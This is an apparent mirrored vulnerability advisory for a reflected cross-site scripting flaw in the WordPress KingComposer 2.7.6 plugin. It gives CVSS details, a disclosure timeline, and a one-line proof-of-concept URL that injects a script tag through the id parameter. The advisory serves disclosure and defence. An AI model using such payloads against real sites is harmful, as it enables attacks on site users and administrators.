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WordPress KingComposer 2.7.6 Cross Site Scripting

WordPress KingComposer 2.7.6 Cross Site Scripting
Posted Feb 6, 2019
Authored by Tim Coen

WordPress KingComposer plugin version 2.7.6 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2019-9910
MD5 | 1e38372f668c067d98205a34c1f25cbb

WordPress KingComposer 2.7.6 Cross Site Scripting

Change Mirror Download
  * Vulnerability: XSS
* Affected Software:
[KingComposer](https://wordpress.org/plugins/kingcomposer/)
* Affected Version: 2.7.6
* Patched Version: none
* CVE: not requested
* Risk: Medium
* Vendor Contacted: 10/25/2018
* Vendor Fix: none
* Public Disclosure: 02/05/2019
* Credit: Tim Coen

##### CVSS

6.1 Medium
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

##### Overview

The KingComposer WordPress plugin is vulnerable to reflected XSS as it
echoes the id parameter without proper encoding.

##### Proof of Concept


http://192.168.0.103/wordpress/wp-admin/admin.php?page=kc-mapper&id=<%2Fscript><script>alert(1)<%2Fscript>

##### Timeline

- 10/25/2018 Asked for email address via contact form
- 10/26/2018 Vendor responds
- 10/26/2018 sent advisory
- 11/01/2018 Vendor responds that they have strict testing in place,
asks if it is certain that the issue exists
- 11/01/2018 Confirmed that the issue indeed exists
- 11/01/2018 unclear response from vendor
- 11/01/2018 asked for clarification & offered to explain issue further
(no response)
- 02/05/2019 Disclosure

##### Details & Full Advisory URL

https://security-consulting.icu/blog/2019/02/wordpress-kingcomposer-xss/

--
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89


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